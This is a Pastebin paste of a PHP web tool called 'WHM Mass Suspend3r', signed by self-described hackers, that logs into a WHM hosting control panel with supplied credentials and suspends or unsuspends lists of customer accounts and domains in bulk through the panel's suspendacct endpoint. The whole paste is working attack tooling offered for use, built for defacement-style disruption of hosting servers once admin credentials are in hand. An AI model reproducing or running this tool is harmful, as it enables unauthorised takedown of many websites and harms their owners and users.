Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*=========================================|
- |
- # WHM Mass Suspend3r |
- |
- # Iranian Hacker |
- |
- # ali ahmady - pHaNtOm_X - b0x |
- video tut : http://www.mediafire.com/download/yr77p1as06c8fwi/whm_mass_aliAhmady.rar |
- # |
- ==========================================*/
- ?>
- <html>
- <head>
- <title>___WHM Mass Suspend3r___ </title>
- <link rel="shortcut icon" href='http://www.rsyncit.com/images/whm-icon.png' />
- <meta http-equiv=Content-Type content=text/html; charset=UTF-8>
- <?php
- $sh3llColor = "#990000";
- echo CSS($sh3llColor)
- ?>
- </head>
- <!--exp-->
- <center>
- <p><span lang="en-us"><font color="#4CC417" size="5">___WHM Mass Suspend3r___ </font>
- </span></p>
- <p><img src="http://www.rsyncit.com/images/whm-icon.png" height="80" width="80"/></p>
- <form method="POST" action="" align="center">
- <font color="red" size="4"> server ip : </font>
- <input type="text" name="ip"/>
- <font color="red" size="4"> whm user : </font>
- <input type="text" name="username"/>
- <font color="red" size="4"> whm pass : </font>
- <input type="text" name="password"/><br/><br/>
- <textarea rows="10" style="height:40%;" value="" name="user">Enter Users Here</textarea>
- <textarea rows="10" style="height:40%;" value="" name="domain">Enter Domains Here</textarea><br/><br/>
- <input type="submit" name="suspend" value="Suspend!"/>
- <input type="submit" name="unsuspend" value="Unsuspend!"/>
- </form>
- </td></tr></table></p>
- </form>
- <!--/exp-->
- </center>
- <?php
- echo "
- <center><table>";
- ini_set('max_execution_time', 300);
- if(isset($_POST['suspend']))
- {
- $ip=$_POST['ip'];
- $username = $_POST['username'];
- $password = $_POST['password'];
- $url = "http://".$ip.":2086/login/?login_only=1";
- $login_data = "user=".$username . "&pass=". $password;
- $fp = fopen('cookie.txt', 'w');
- $login = curl_init();
- curl_setopt($login, CURLOPT_COOKIESESSION, 1);
- curl_setopt($login, CURLOPT_COOKIEJAR, 'cookie.txt');
- curl_setopt($login, CURLOPT_COOKIEFILE, 'cookie.txt');
- curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
- curl_setopt($login, CURLOPT_TIMEOUT, 40);
- curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($login, CURLOPT_URL, $url);
- curl_setopt($login, CURLOPT_HEADER, 1);
- curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
- curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($login, CURLOPT_POST, 1);
- curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
- $content= curl_exec($login);
- $user = explode("\n", $_POST['user']);
- $domain = explode("\n", $_POST['domain']);
- for($i=0; $i < count($user); $i++)
- {
- $urlatt = "http://".$ip.":2086/scripts2/suspendacct?domain=". trim($domain[$i]) . "&user=".trim($user[$i]) ."&suspend-domain=Suspend&reason=";
- curl_setopt($login, CURLOPT_COOKIESESSION, 1);
- curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($login, CURLOPT_URL, $urlatt);
- $content= curl_exec($login);
- echo "</p><font color=\"#E5E4E2\">";
- echo $domain[$i]." -> done<br />";
- echo "</font></p>";
- }
- fclose($fp);
- curl_close($login);
- }
- else if(isset($_POST['unsuspend']))
- {
- $ip=$_POST['ip'];
- $username = $_POST['username'];
- $password = $_POST['password'];
- $url = "http://".$ip.":2086/login/?login_only=1";
- $login_data = "user=".$username . "&pass=". $password;
- $fp = fopen('cookie.txt', 'w');
- $login = curl_init();
- curl_setopt($login, CURLOPT_COOKIESESSION, 1);
- curl_setopt($login, CURLOPT_COOKIEJAR, 'cookie.txt');
- curl_setopt($login, CURLOPT_COOKIEFILE, 'cookie.txt');
- curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
- curl_setopt($login, CURLOPT_TIMEOUT, 40);
- curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($login, CURLOPT_URL, $url);
- curl_setopt($login, CURLOPT_HEADER, 1);
- curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
- curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($login, CURLOPT_POST, 1);
- curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
- $content= curl_exec($login);
- $user = explode("\n", $_POST['user']);
- $domain = explode("\n", $_POST['domain']);
- for($i=0; $i < count($user); $i++)
- {
- $urlatt = "http://".$ip.":2086/scripts2/suspendacct?domain=". trim($domain[$i]) . "&user=".trim($user[$i]) ."&unsuspend-domain=Unsuspend&reason=";
- curl_setopt($login, CURLOPT_COOKIESESSION, 1);
- curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($login, CURLOPT_URL, $urlatt);
- $content= curl_exec($login);
- echo "</p><font color=\"#E5E4E2\">";
- echo $domain[$i]." -> done<br />";
- echo "</font></p>";
- }
- curl_close($login);
- }
- echo "</table></center>";
- function CSS($sh3llColor)
- {
- $css = "
- <style>
- BODY
- {
- FONT-FAMILY: Verdana;
- margin: 2;
- color: #cccccc;
- background-color: #34282C;
- }
- sy
- {
- color:".$sh3llColor.";
- font-size:7pt;
- font-weight: bold;
- }
- #Box
- {
- color:".$sh3llColor.";
- font-size:14px;
- background-color:#000;
- font-weight:bold;
- width:500px;
- }
- tr
- {
- BORDER-RIGHT: #cccccc 1px solid;
- BORDER-TOP: #cccccc 1px solid;
- BORDER-LEFT: #cccccc 1px solid;
- BORDER-BOTTOM: #cccccc 1px solid;
- color: #ffffff;
- }
- td
- {
- BORDER-RIGHT: #cccccc 1px solid;
- BORDER-TOP: #cccccc 1px solid;
- BORDER-LEFT: #cccccc 1px solid;
- BORDER-BOTTOM: #cccccc 1px solid;
- color: #cccccc;
- }
- table
- {
- BORDER: #eeeeee outset;
- BACKGROUND-COLOR: #000000;
- color: #cccccc;
- }
- input
- {
- BORDER-RIGHT: ".$sh3llColor." 1px solid;
- BORDER-TOP: ".$sh3llColor." 1px solid;
- BORDER-LEFT: ".$sh3llColor." 1px solid;
- BORDER-BOTTOM: ".$sh3llColor." 1px solid;
- BACKGROUND-COLOR: #333333;
- font: 9pt tahoma;
- color: #ffffff;
- }
- select
- {
- BORDER-RIGHT: #ffffff 1px solid;
- BORDER-TOP: #999999 1px solid;
- BORDER-LEFT: #999999 1px solid;
- BORDER-BOTTOM: #ffffff 1px solid;
- BACKGROUND-COLOR: #000000;
- font: 9pt tahoma;
- color: #CCCCCC;;
- }
- submit
- {
- BORDER: 1px outset buttonhighlight;
- BACKGROUND-COLOR: #272727;
- width: 40%;
- color: #cccccc;
- }
- textarea
- {
- BORDER-RIGHT: #ffffff 1px solid;
- BORDER-TOP: #999999 1px solid;
- BORDER-LEFT: #999999 1px solid;
- BORDER-BOTTOM: #ffffff 1px solid;
- BACKGROUND-COLOR: #333333;
- color: #ffffff;
- }
- A:link {COLOR:".$sh3llColor."; TEXT-DECORATION: none}
- A:visited { COLOR:".$sh3llColor."; TEXT-DECORATION: none}
- A:active {COLOR:".$sh3llColor."; TEXT-DECORATION: none}
- A:hover {color:blue;TEXT-DECORATION: none}
- </style>";
- return $css;
- }
- function footer()
- {
- echo '
- <head>
- <meta http-equiv="Content-Language" content="en-us">
- </head>
- <font color="#000000">
- <p align="center"><font color="#4CC417" size="5">Tool by ali ahmady</p></font>
- <p align="center"><font color="#4CC417" size="5">We Are: ali ahmady + pHaNtOm_X + b0x</font></p>
- </font>
- </html>
- ';
- }
- function filter($string)
- {
- if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
- else{return $string; }
- }
- footer();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement